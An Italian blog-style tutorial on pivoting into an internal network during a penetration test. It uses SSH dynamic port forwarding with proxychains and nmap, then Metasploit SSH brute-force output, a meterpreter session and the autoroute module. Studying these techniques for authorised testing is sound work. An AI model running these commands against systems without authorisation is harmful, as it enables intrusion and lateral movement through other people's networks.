Effettuare Penetration test di reti interne tramite Port Forwarding

Tempo di lettura: 7 minuti
Data pubblicazione: July 30, 2018

Durante un Penetration test è possibile che, dopo esser riusciti ad ottenere i privilegi di amministrazione su un host, esso abbia accesso ad una rete interna non accessibile dall’esterno. Non potendo fare scansioni in modo diretto, bisogna fare in modo di usare la propria macchina per identificare gli altri host presenti e le possibili vulnerabilità che potrebbero avere.

 Concatenazione di reti interne
Concatenazione di reti interne

La tecnica da utilizzare viene detta Port Forwarding, ed è, citando Wikipedia, l’operazione che permette il trasferimento di dati da un computer ad un’altro tramite una specifica porta di comunicazione. Ci sono diverse tipologie di port forwarding, tra le quali:

  1. Local port forwarding: è una delle tipologie più comuni e può essere utilizzato per poter bypassare i firewall che bloccano certe porte. Essa istituisce un connessione SSH tra il client SSH e il server SSH. SSH ascolta su una porta locale stabilita quando la connessione è stata stabilita. Qualsiasi connessione a questa porta viene inoltrata attraverso il tunnel SSH sicuro e inviata a un host remoto e a una porta predefiniti;
  2. Dynamic port forwarding: in questo caso l’obiettivo è quello di consentire ai clienti di connettersi in modo sicuro a un server di fiducia che funge da intermediario al fine di inviare/ricevere dati a uno o più server di destinazione e permette di comunicare con tutto il range delle porte.

Per eseguire l’operazione ci possono essere diversi modi, vediamone un paio

Dynamic port forwarding tramite SSH

Creare un tunnel tramite ssh è la via più semplice e comoda in quanto, una volta aperto, tramite proxy sarà possibile accedere a tutta la rete interna. Il comando è

ssh -f -N -D 9050 username@indirizzo_IP

dove:

  • -f manda in background il comando una volta eseguito, in modo tale da non lasciare aperto un terminale apposta;
  • -N istruisce SSH di non mandare comandi remoti, decisamente utile in questo caso;
  • -D determina la porta dinamica da utilizzare per la connessione.

Prima di eseguirlo, si deve usare un tool come proxychains per instradare tutte le connessioni verso quella porta. Per configurarlo, basta modificare il file apposito ed inserire la porta scelta nello scorso comando (dovrebbe essere in /etc/proxychains.conf).

Configurazione di proxychains
Configurazione di proxychains

Una volta configurato si può lanciare il comando ssh. Per verificare che tutto sia andato a buon fine, basta provare ad eseguire un comando verso un indirizzo interno di quella rete.

Curl tramite proxychains
Curl tramite proxychains

Ora tutti i programmi che supportano una connessione tramite un proxy socks4 potranno essere utilizzati con gli IP privati. Ad esempio si potrà utilizzare nmap per scansionare la rete interna (andrà sicuramente più lento rispetto ad una scansione normale)

proxychains nmap -sTV -p80 -Pn -T4 10.200.0.33
Nmap tramite proxychains
Nmap tramite proxychains

Port forwarding tramite Metasploit

Sebbene io non ami particolarmente l’automatizzazione di metasploit, in questo caso può venirci particolarmente utile, poichè potremo utilizzare i suoi script anche in una rete interna. Nel seguente esempio, prenderò il caso in cui, dopo un bruteforce, ci rendiamo conto che l’host compromesso appartiene ad un’altra rete interna.

msf auxiliary(scanner/ssh/ssh_login) > run

[+] 192.168.200.225:22 - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux phpcgi 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (192.168.200.50:41929 -> 192.168.200.225:22) at 2018-07-29 22:14:59 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Shell linux aperta con Metasploit
Shell linux aperta con Metasploit

Per prima cosa, ottieniamo una shell meterpreter con il comando

sessions -u 1

in maniera tale da aver più controllo sulla macchina appena compromessa

Meterpeter shell e indirizzo IP privato
Meterpeter shell e indirizzo IP privato

Come si può vedere nello screenshot l’indirizzo IP della macchina compromessa è privato. Vediamo ora di creare un port forwarding ed utilizzarlo a nostro favore.

msf exploit(multi/handler) > use post/multi/manage/autoroute
msf post(multi/manage/autoroute) > set subnet 10.200.0.1
subnet => 10.200.0.1
msf post(multi/manage/autoroute) > set session 2
session => 2
msf post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module.
[*] Running module against 10.200.0.33
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.200.0.0/24 from host's routing table.
[*] Post module execution completed

Ed ecco che ora abbiamo creato un percorso diretto verso la rete interna! Se ora volessimo scansionare un host interno alla rete, basterà usare i classici moduli di metasploit

Scansione porte interne
Scansione porte interne

Conclusioni

Non è cosi raro incontrare situazioni di questo tipo, ed è sempre un bene riuscire a trovare la manovra giusta da eseguire per potersi spostare nella rete e trovare altri host vulnerabili. Se l’articolo non è abbastanza chiaro, consiglio la guida di Offensive Security e Explore Hidden Networks with double pivoting.